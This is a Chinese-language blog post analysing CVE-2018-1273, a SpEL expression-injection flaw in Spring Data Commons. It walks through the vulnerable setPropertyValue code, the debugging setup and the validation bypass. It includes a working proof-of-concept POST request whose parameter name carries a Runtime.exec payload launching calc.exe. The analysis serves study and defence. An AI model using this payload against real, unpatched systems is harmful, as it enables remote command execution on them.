漏洞分析的邊界
漏洞分析最應該關注的是漏洞相關的代碼,至於其余的代碼可以通過關鍵位置下斷點,來理解大概功能。
其中最關鍵的就是了解數據流,找到離漏洞位置最近的 原始數據 經過的位置,然后開始往下分析,一直到漏洞位置。
一個漏洞的觸發的數據流動如下圖所示:
觸發漏洞,首先需要輸入數據,然后數據會通過一些通用的流程,比如請求參數的復制,傳遞之類的, 然后數據會傳到一個離漏洞點比較近的位置,然后進入漏洞邏輯,觸發漏洞。
所以在進行漏洞分析時我們需要做的工作主要是
-
定位到離漏洞點比較近的數據位置(可以在關鍵位置下斷點,然后猜測參數和請求數據的關系)
-
分析漏洞
CVE-2018-1273漏洞分析
靜態代碼分析
漏洞位於MapPropertyAccessor
類的 setPropertyValue
方法
private static class MapPropertyAccessor extends AbstractPropertyAccessor {
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTypeConverter(new StandardTypeConverter(this.conversionService));
context.setRootObject(this.map);
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = leafProperty.getTypeInformation();
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
}
MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
if (typeDescriptor == null) {
throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
}
value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}
expression.setValue(context, value);
}
}
函數調度參數值的內容為 POST
請求的參數名。
上述代碼的流程為
- 首先通過
isWritableProperty
校驗參數名 , 檢測 參數名 是否為controller
中設置的From
映射對象中的成員變量。 - 然后創建一個
StandardEvaluationContext
, 同時PARSER.parseExpression
設置需要解析的表達式的值為函數傳入的參數 - 最后通過
expression.setValue
進行spel
表達式解析。
動態調試分析
搭建調試環境
首先下載官方的示例程序
https://github.com/spring-projects/spring-data-examples
然后切換到一個比較老的有漏洞的版本
git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d
最后用 idea
導入 maven
項目。
然后運行 web/example
項目即可
我們在 setPropertyValue
下個斷點,然后通過 burp
發送 payload
過去
POST /users HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/users
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Connection: close
Upgrade-Insecure-Requests: 1
username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx
其中執行命令的 payload
如下
[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]
# 在 spel 中有兩個變量可以訪問,為 #this 和 #root, 其中 #root 通過 setRootObject 設置 , 我們可以通過 #this 以反射的方式執行命令。
可以看到參數為 我們 POST
請求中的 參數名部分 。然后他會進入 isWritableProperty
進行校驗,校驗通過才能觸發漏洞。
isWritableProperty
最后會調用 getPropertyPath
進行校驗。
private PropertyPath getPropertyPath(String propertyName) {
String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
return PropertyPath.from(plainPropertyPath, this.type);
}
首先通過正則取出需要設置的參數名 (arg[]
的作用是設置 arg
數組中的值, 這里就相當於取出 arg
).
然后判斷 plainPropertyPath
是不是 this.type
里面的一個屬性。
其中 this.type
就是在 controller
處用到的用於接收參數的類。
所以我們用這個類的一個字段 + [payload] 構造 spel payload
就可以執行 spel
表達式。
然后就會彈計算器了。
總結
根據漏洞作者博客,這個漏洞的發現過程是通過 find-sec-bug
這個插件匹配到 spel 表達式的解析的位置,然后從這個位置回溯,發現該函數的參數就是 POST
的參數名部分(用戶可控的部分),於是分析有漏洞的函數,發現只要過掉開頭的 check
就可以觸發漏洞。
經過以往的經驗,我認為常規漏洞大都是 特征 + 程序特定邏輯 ---> 漏洞 。
參考
https://xz.aliyun.com/t/2269#toc-1
http://blog.nsfocus.net/cve-2018-1273-analysis/
https://gosecure.net/2018/05/15/beware-of-the-magic-spell-part-1-cve-2018-1273/
https://blog.csdn.net/qq_22655689/article/details/79920104